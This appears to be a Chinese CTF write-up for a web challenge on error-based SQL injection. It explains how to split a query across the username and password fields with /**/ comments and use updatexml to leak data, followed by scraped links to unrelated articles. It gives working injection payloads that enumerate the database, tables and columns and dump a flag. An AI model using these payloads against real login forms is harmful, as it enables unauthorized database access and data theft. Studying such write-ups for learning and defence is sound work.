知识点:

SQL注入中用到的Concat函数详解    http://www.sohu.com/a/219966085_689961

http分割注入

直接根据提示,提交post请求的用户名和密码

结果显示

换成 username=1'&password=1

就说我有sql语法错误,说明这题是要考虑sql注入的,然后然后用burpsuite检测许多sql相关的词,看哪些词被过滤了

bp爆破测试教程可以参考这一篇https://blog.csdn.net/weixin_38948797/article/details/79111566

查看测试的结果:# = union select等这几个都是报错‘Sql injection detected’说明都被过滤了

看一下网页源码

介于这个情况,还有源码中的提示是这样一整句的查询

故而我们考虑用http分割注入,这个形式便是把一个想执行的语句,拆散到两个参数里,并注释中间的东西,来达到注入的目的

记得我们得知的SQL语句格式嘛?  where username='???' and password='???'   而sql语句中可以使用/**/注释掉中间的SQL语句。也就是说,我们可以使用/**/来解决这个问题,而且/**/也没有被吃掉,这叫做HTTP分割注入。

对经常使用的报错注入函数updatexml进行测试。在密码中禁止对updatexml的使用,但是用户名并没有禁止。因此通过updatexml在存储非XPath格式的字符串时的报错输出获得所需要的信息。

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml在username中可用,而在password中被过滤了,现在还有一个问题,等号‘=’不让用,我们这里告诉一个操作:<>在sql中表示不等于,再在前面加个!就能起到等号的作用了

(1)函数库名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select database()),0x7e),1) or '1

(2)表名

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where !(table_schema<>'error_based_hpf')),0x7e),1) or '1

(3)字段

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where !(table_name<>'ffll44jj')),0x7e),1) or '1

(4)内容

username=1' or updatexml/*&password=*/(1,concat(0x7e,(select value from ffll44jj),0x7e),1)or '1

参考了https://blog.csdn.net/qq_41618162/article/details/81783298

实验吧web加了料的报错注入的更多相关文章

  1. 实验吧——加了料的报错注入(exp报错注入)

    题目地址:http://ctf5.shiyanbar.com/web/baocuo/index.php 先查看页面源码得到提示知道了后台执行的sql语句,很常规的查询 测试了一个报错函数发现如下回显, ...

  2. Java Web项目(Extjs)报错五

    1. Java Web项目(Extjs)报错五 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname ...

  3. Java Web项目(Extjs)报错四

    1.Java Web项目(Extjs)报错四 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...

  4. Java Web项目(Extjs)报错三

    1. Java Web项目(Extjs)报错三 具体报错如下: at org.jbpm.pvm.internal.processengine.SpringHelper.createProcessEng ...

  5. Java Web项目(Extjs)报错二

    1.Java Web项目(Extjs)报错二 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...

  6. Java Web项目(Extjs)报错九

    1.Java Web项目(Extjs)报错九 具体报错如下: 三月 26, 2014 11:48:35 下午 org.hibernate.util.JDBCExceptionReporter logE ...

  7. Java Web项目(Extjs)报错八

    1.Java Web项目(Extjs)报错八 具体报错如下: org.springframework.dao.DataIntegrityViolationException: Could not ex ...

  8. Java Web项目(Extjs)报错七

    1.Java Web项目(Extjs)报错七 具体报错如下:

  9. Java Web项目(Extjs)报错六

    1.Java Web项目(Extjs)报错六 具体报错如下: usage: java org.apache.catalina.startup.Catalina [ -config {pathname} ...

随机推荐

  1. 爬虫入门之Scrapy 框架基础功能(九)

    Scrapy是用纯Python实现一个为了爬取网站数据.提取结构性数据而编写的应用框架,用途非常广泛. 框架的力量,用户只需要定制开发几个模块就可以轻松的实现一个爬虫,用来抓取网页内容以及各种图片,非 ...

  2. vscode:配置git

    1.下载git,并找到安装git的文件位置,并找到git文件夹下面的Bin文件夹    2.配置环境变量 位置:右击‘计算机’->属性->高级系统设置->环境变量 最后点击确定即可 ...

  3. June 28th 2017 Week 26th Wednesday

    Anger begins with folly, and ends in repentance. 愤怒以愚蠢开始,以后悔告终. Learn to control your temper, don't ...

  4. February 22 2017 Week 8 Wednesday

    There is only one happiness in life, to love and be loved. 生命中只有一种幸福,爱与被爱. If you think you are not ...

  5. February 1 2017 Week 5 Wednesday

    If you can't get a miracle, become one. 如果奇迹没有眷顾你,那就让自己变成奇迹吧. If you think you are bad luck, you did ...

  6. Cache及(HttpRuntime.Cache与HttpContext.Current.Cache)

    本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/avon520/archive/2009/11/25/4872704.aspx .NET中Cache有两种调用方式:Ht ...

  7. MATLAB入门学习(六)

    今天学三维作图 (*^__^*)…… 三维曲线作图 用到的命令:plot3 基本格式:plot3(x,y,z,s) 这里要画曲线,你需要知道该曲线的参数方程x=x(t),y=y(t),z=z(t) 然 ...

  8. BZOJ2427:[HAOI2010]软件安装(树形DP,强连通分量)

    Description 现在我们的手头有N个软件,对于一个软件i,它要占用Wi的磁盘空间,它的价值为Vi.我们希望从中选择一些软件安装到一台磁盘容量为M计算机上,使得这些软件的价值尽可能大(即Vi的和 ...

  9. Lua脚本认知小结

    0.前言 Lua是一种脚本语言,笔者在学习cocos2dx的时候认识了这个脚本语言. 据个人了解的脚本语言最大的优势是无需编译,使用其内核可以使其跨平台运行. JavaScript,Python,Pe ...

  10. docker-3-常用命令(中)

    容器命令 1.有镜像才能创建容器,这是根本前提(下载一个CentOS镜像演示) docker pull centos 2.新建并启动容器 docker run [OPTIONS] IMAGE [COM ...